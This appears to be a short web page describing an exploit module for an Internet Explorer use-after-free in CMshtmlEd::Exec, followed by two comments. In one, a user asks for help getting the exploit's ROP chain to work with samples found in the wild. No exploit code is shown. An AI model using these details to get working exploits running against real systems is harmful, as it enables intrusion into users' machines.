Description :

This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner, but the same memory is reused again later in the CMshtmlEd::Exec() function, leading to a use-after-free condition. Please note that this vulnerability has been exploited in the wild since Sep 14 2012, and there is currently no official patch for it.

Commands :

  1. I have tried using this JRE ROP after installing JRE version 1.5.0.50 on windows 7 machine. However The exploit does not seems to be working for me. Please note I have used some wild samples not the POC. This address 0x7c37653d appears to be unknown. Getting access violation. Could some one tell me what am i doing wrong here?

  2. hi,

    i wonder why the console says “using msvcrt ROP”, when i tried it, it says “using JRE ROP” ?

    thx
    klaus
